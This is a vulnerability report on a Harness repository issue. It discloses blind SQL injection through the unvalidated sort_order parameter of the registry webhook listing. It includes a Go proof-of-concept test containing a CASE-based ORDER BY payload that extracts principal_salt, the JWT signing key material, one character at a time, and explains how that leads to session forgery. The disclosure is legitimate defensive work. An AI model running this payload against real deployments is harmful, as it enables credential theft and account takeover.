#3724·harness

[Security] blind SQL injection via sort_order in registry webhook listing

Author: fereidaniCreated Sep 24, 2026Updated Sep 24, 2026

It seems you are ignoring security reports, But anyway I think this is important.

Summary

A blind SQL injection in the registry webhook listing lets any user with registry view permission extract arbitrary database contents one boolean per request, including principals.principal_salt, which is the HMAC key material for session JWTs.

Details

The controller passes the raw sort_order query parameter to the DAO with no normalization. registry/app/api/controller/metadata/list_webhooks.go:80-91:

go
sortByOrder := ""
if r.Params.SortOrder != nil {
    sortByOrder = string(*r.Params.SortOrder)   // raw query-string bytes
}
...
webhooks, err := c.WebhooksRepository.ListByRegistry(
    ctx, sortByField, sortByOrder, limit, offset, searchTerm, regInfo.RegistryID)

Sink in registry/app/store/database/webhook.go:224-229:

go
validSortFields := map[string]string{"name": "registry_webhook_name"}
validSortByField := validSortFields[sortByField]
if validSortByField != "" {
    query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder)) // order NOT validated
}

The sort field is allowlisted but the order is not. SortOrder is generated by oapi-codegen as a plain type SortOrder string with no runtime enum validation, so any bytes survive. Every sibling controller normalizes with GetSortByOrder() (metadata/utils.go:220, coerces to ASC/DESC); this is the one call path that skips it. upstream_proxy.go:338 interpolates the same pair, so the caller-side fix alone leaves a second risky path.

PostgreSQL evaluates expressions inside ORDER BY, so a CASE expression flipping the row order (or erroring) on a condition leaks one bit per request; classic blind extraction of principal_salt, which app/auth/authn/jwt.go uses to sign session tokens. Recovering a salt allows forging a valid JWT for any principal, including admins.

PoC

In-package test capturing the exact SQL statement the DAO sends for the attacker's request GET /registry/{ref}/webhooks?sort_field=name&sort_order=<payload>:

bash
git clone https://github.com/harness/harness && cd harness
cat > registry/app/store/database/poc_sqli_test.go <<'EOF'
package database

import (
	"context"
	"database/sql"
	"database/sql/driver"
	"errors"
	"strings"
	"testing"

	"github.com/jmoiron/sqlx"
)

type recordDriver struct{ lastQuery string }

func (d *recordDriver) Open(string) (driver.Conn, error) { return &recordConn{d: d}, nil }

type recordConn struct{ d *recordDriver }

func (c *recordConn) Prepare(q string) (driver.Stmt, error) {
	c.d.lastQuery = q
	return nil, errors.New("captured")
}
func (c *recordConn) Close() error              { return nil }
func (c *recordConn) Begin() (driver.Tx, error) { return nil, errors.New("no tx") }

func TestPocSQLi(t *testing.T) {
	rec := &recordDriver{}
	sql.Register("recorder-poc", rec)
	sdb, err := sql.Open("recorder-poc", "unused")
	if err != nil {
		t.Fatal(err)
	}
	repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres"))

	payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a')" +
		" THEN registry_webhook_name ELSE registry_webhook_id END)"

	_, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1)

	sent := rec.lastQuery
	for _, needle := range []string{"SELECT CASE WHEN", "principal_salt", "registry_webhook_id END"} {
		if !strings.Contains(sent, needle) {
			t.Fatalf("payload fragment %q missing from SQL sent to the database:\n%s", needle, sent)
		}
	}
	t.Logf("SQL SENT TO DATABASE:\n%s", sent)
}
EOF
go test ./registry/app/store/database/ -run TestPocSQLi -v

Output (verified), payload verbatim inside ORDER BY:

... FROM registry_webhooks WHERE registry_webhook_registry_id = $1 ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a') THEN registry_webhook_name ELSE registry_webhook_id END) LIMIT 10 OFFSET 0

The $1 binding shows everything else is parameterized; only the ORDER BY fragment is raw.

Impact

CWE-89 blind SQL injection, authenticated (PermissionRegistryView on any registry). Confirmed extraction primitive of any database value; realistic target is principal_salt (JWT HMAC keys) leading to session forgery for any user including admins. Squirrel/lib/pq parameterization blocks stacked queries, so this is read-side exfiltration, not writes.

CVSS: 9.3 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N CWE IDs: CWE-89, CWE-200

Internal Tracking ID: KF-202648560